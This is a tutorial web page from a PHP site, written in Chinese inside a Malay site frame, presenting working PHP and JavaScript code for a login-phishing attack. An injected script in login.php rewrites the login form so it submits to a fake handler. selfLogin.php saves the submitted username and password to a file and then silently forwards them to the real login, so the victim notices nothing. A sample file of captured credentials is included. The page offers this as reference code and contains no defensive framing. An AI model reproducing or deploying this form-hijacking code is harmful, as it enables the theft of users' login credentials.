Rumah > pembangunan bahagian belakang > tutorial php > PHP和JS实现模仿登录钓鱼的代码示例

PHP和JS实现模仿登录钓鱼的代码示例

不言
Lepaskan: 2023-04-05 17:46:01
ke hadapan
3887 orang telah melayarinya

本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

目录介绍

login.php  正常登录的文件

selfLogin.php  自定义的登录文件

data.txt 记录用户输入的数据

login.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

<?php

    echo "<pre class="brush:php;toolbar:false">";

    $userInfo $_POST ;

    if ($userInfo) {

        # code...

        var_dump($userInfo,'登录成功') ;exit();

    }

 

?>

<!DOCTYPE html>

<html>

<head>

    <title>登录</title>

</head>

<body>

    <form id="login" method="post" action="login.php">

        用户姓名:<input type="text" name="name">

        用户密码:<input type="password" name="pwd">

        <input type="submit" value="确认登录">

    </form>

</body>

<script type="text/javascript">

 

    //js劫持代码

    window.onload = function (eve) {

        var form = document.getElementById('login');

        form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录">    </form> '  ;

        //钓鱼地址

        form.action = "selfLogin.php" ;

    }

</script>

</html>

Salin selepas log masuk

selfLogin.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

<?php

    $name = &#39;&#39; ;

    $pwd  = &#39;&#39; ;

    //var_dump(&#39;数据被截取了&#39;,$_POST) ;

    if($_POST) {

        //记录获取的数据信息

        $name = $_POST[&#39;name&#39;] ;

        $pwd = $_POST[&#39;pwd&#39;] ;

        file_put_contents(&#39;data.txt&#39;, json_encode($_POST,true)) ;

    }

?>

<!DOCTYPE html>

<html>

<head>

    <title></title>

</head>

<body>

 

</body>

<script type="text/javascript">

    //构建之前的页面

    window.onload = function (eve) {

        var name = '<?php echo $name; ?>' ;

        var pwd = '<?php echo $pwd; ?>' ;

        if(name && pwd) {

            var p = document.createElement('p');

            document.body.appendChild(p);

            p.innerHTML =' <form id="login2" method="post" action="login.php" > '+

                ' 用户姓名:<input type="text" name="name" value="&#39;+name+&#39;"> 用户密码:<input type="password" name="pwd" value="&#39;+pwd+&#39;"> '  ;

            document.getElementById('login2').submit();

        }

    }

</script>

</html>

Salin selepas log masuk

data.txt

1

{"name":"admin","pwd":"123456"}

Salin selepas log masuk

本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注PHP中文网的JavaScript视频教程栏目!

Atas ialah kandungan terperinci PHP和JS实现模仿登录钓鱼的代码示例. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Artikel terbaru oleh pengarang
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan